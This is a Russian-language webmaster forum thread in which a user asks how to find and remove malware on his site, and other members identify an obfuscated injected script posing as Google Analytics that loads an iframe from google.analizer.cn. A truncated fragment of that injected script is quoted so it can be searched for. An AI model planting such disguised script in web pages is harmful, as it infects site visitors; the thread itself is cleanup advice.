Помогите плз - Где Вирус на сайте и как его удалить ?

[NoNaMe_909]

1. На твоём сайте на станицах прописан iframe код, который замаскирован под код Google Analitics, Google Analitics врядли будет по адресу google.analizer.cn, да ещё и в шифрованном фрейме.
P.S. Ты его ставил?

я ставил только

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
<script type="text/javascript">
_uacct = "UA-4445910-1";
urchinTracker();
</script>

Эта шняга :

<!-- o --><SCRIPT>var h4gU='';var iPI9xSxEXHYABrgdD='z0cbvuS2v23%o2sRn%3ta%18q2r2b%3ee%/

сама пришпандорилась ...

Мне кроме той шняги и сам код Аналитикса переустанавливать ? или его можно не трогать ?

2. Сменить пароль на фтп и почистить код индексных страниц на сайте от

Если честно - не понял .... Каких страниц ? те которые в индексе Гугля ? почему именно индексные ?

 

[Simpson]

код настоящего аналитикса менять не нужно.

под индексными страницами подразумевается имхо index.php

в роли фтп-клиента часом не Total Cumandor?

 

[NoNaMe_909]

код настоящего аналитикса менять не нужно.

под индексными страницами подразумевается имхо index.php

блин, а как эти страницы почистить-то ? в футере такой шняги нет ....

в роли фтп-клиента часом не Total Cumandor?

FAR

 

[Simpson]

В фаре можно сделать поиск по содержимому файла. Зайди на фтп и поищи строку от Kaimi: <SCRIPT>var h4gU='';var iPI9xSxEXHYABrgdD='z0cb..... во всех php файлах.